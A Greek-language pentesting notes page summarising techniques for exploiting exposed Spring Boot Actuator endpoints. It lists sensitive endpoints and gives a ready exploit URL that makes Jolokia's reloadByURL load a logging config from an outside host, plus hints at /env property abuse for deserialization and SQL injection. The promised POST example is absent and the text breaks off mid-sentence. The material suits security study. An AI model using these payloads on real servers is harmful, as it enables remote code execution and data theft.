Spring Actuators
Παράκαμψη Εξουσιοδότησης Spring
Από https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Εκμεταλλευόμενοι τους Spring Boot Actuators
Ελέγξτε την αρχική ανάρτηση από [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Κύρια Σημεία:
Οι Spring Boot Actuators καταχωρούν σημεία πρόσβασης όπως
/health
,/trace
,/beans
,/env
κ.λπ. Στις εκδόσεις 1 έως 1.4, αυτά τα σημεία πρόσβασης είναι προσβάσιμα χωρίς εξουσιοδότηση. Από την έκδοση 1.5 και μετά, μόνο τα/health
και/info
είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτήν την ασφάλεια.Ορισμένα σημεία πρόσβασης Actuator μπορούν να αποκαλύψουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
και/heapdump
.Στο Spring Boot 1.x, οι actuators καταχωρούνται υπό τον ριζικό URL, ενώ στο 2.x, βρίσκονται υπό τη βασική διαδρομή
/actuator/
.
Τεχνικές Εκμετάλλευσης:
Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia':
Το σημείο πρόσβασης
/jolokia
του actuator αποκαλύπτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει την πρόσβαση HTTP στα MBeans.Η ενέργεια
reloadByURL
μπορεί να εκμεταλλευτεί για την επαναφόρτωση των ρυθμίσεων καταγραφής από μια εξωτερική διεύθυνση URL, η οποία μπορεί να οδηγήσει σε τυφλή XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω διαμορφωμένων XML ρυθμίσεων.Παράδειγμα εκμετάλλευσης URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Τροποποίηση Ρυθμίσεων μέσω '/env':
Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το σημείο πρόσβασης
/env
επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων.Οι ιδιότητες μπορούν να διαμορφωθούν για την εκμετάλλευση ευπαθειών, όπως η ευπάθεια αποσυσχέτισης XStream στην υπηρεσία Eureka.
Παράδειγμα αίτησης εκμετάλλευσης POST:
Άλλες Χρήσιμες Ρυθμίσεις:
Οι ιδιότητες όπως
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
καιspring.datasource.tomcat.max-active
μπορούν να διαμορφωθούν για διάφορες εκμεταλλεύσεις, όπως εγχύσεις SQL ή αλλαγές συμβολοσειρών σύνδεσης βάσης δεδομένων.
Πρόσθετες Πληροφορίες:
Μια εκτενής λίστα με τους προεπιλεγμένους actuators μπορεί να βρεθεί εδώ.
Το σημείο πρόσβασης
/env
στο Spring Boot 2.x χρησιμοποιεί μορφή JSON γ
Last updated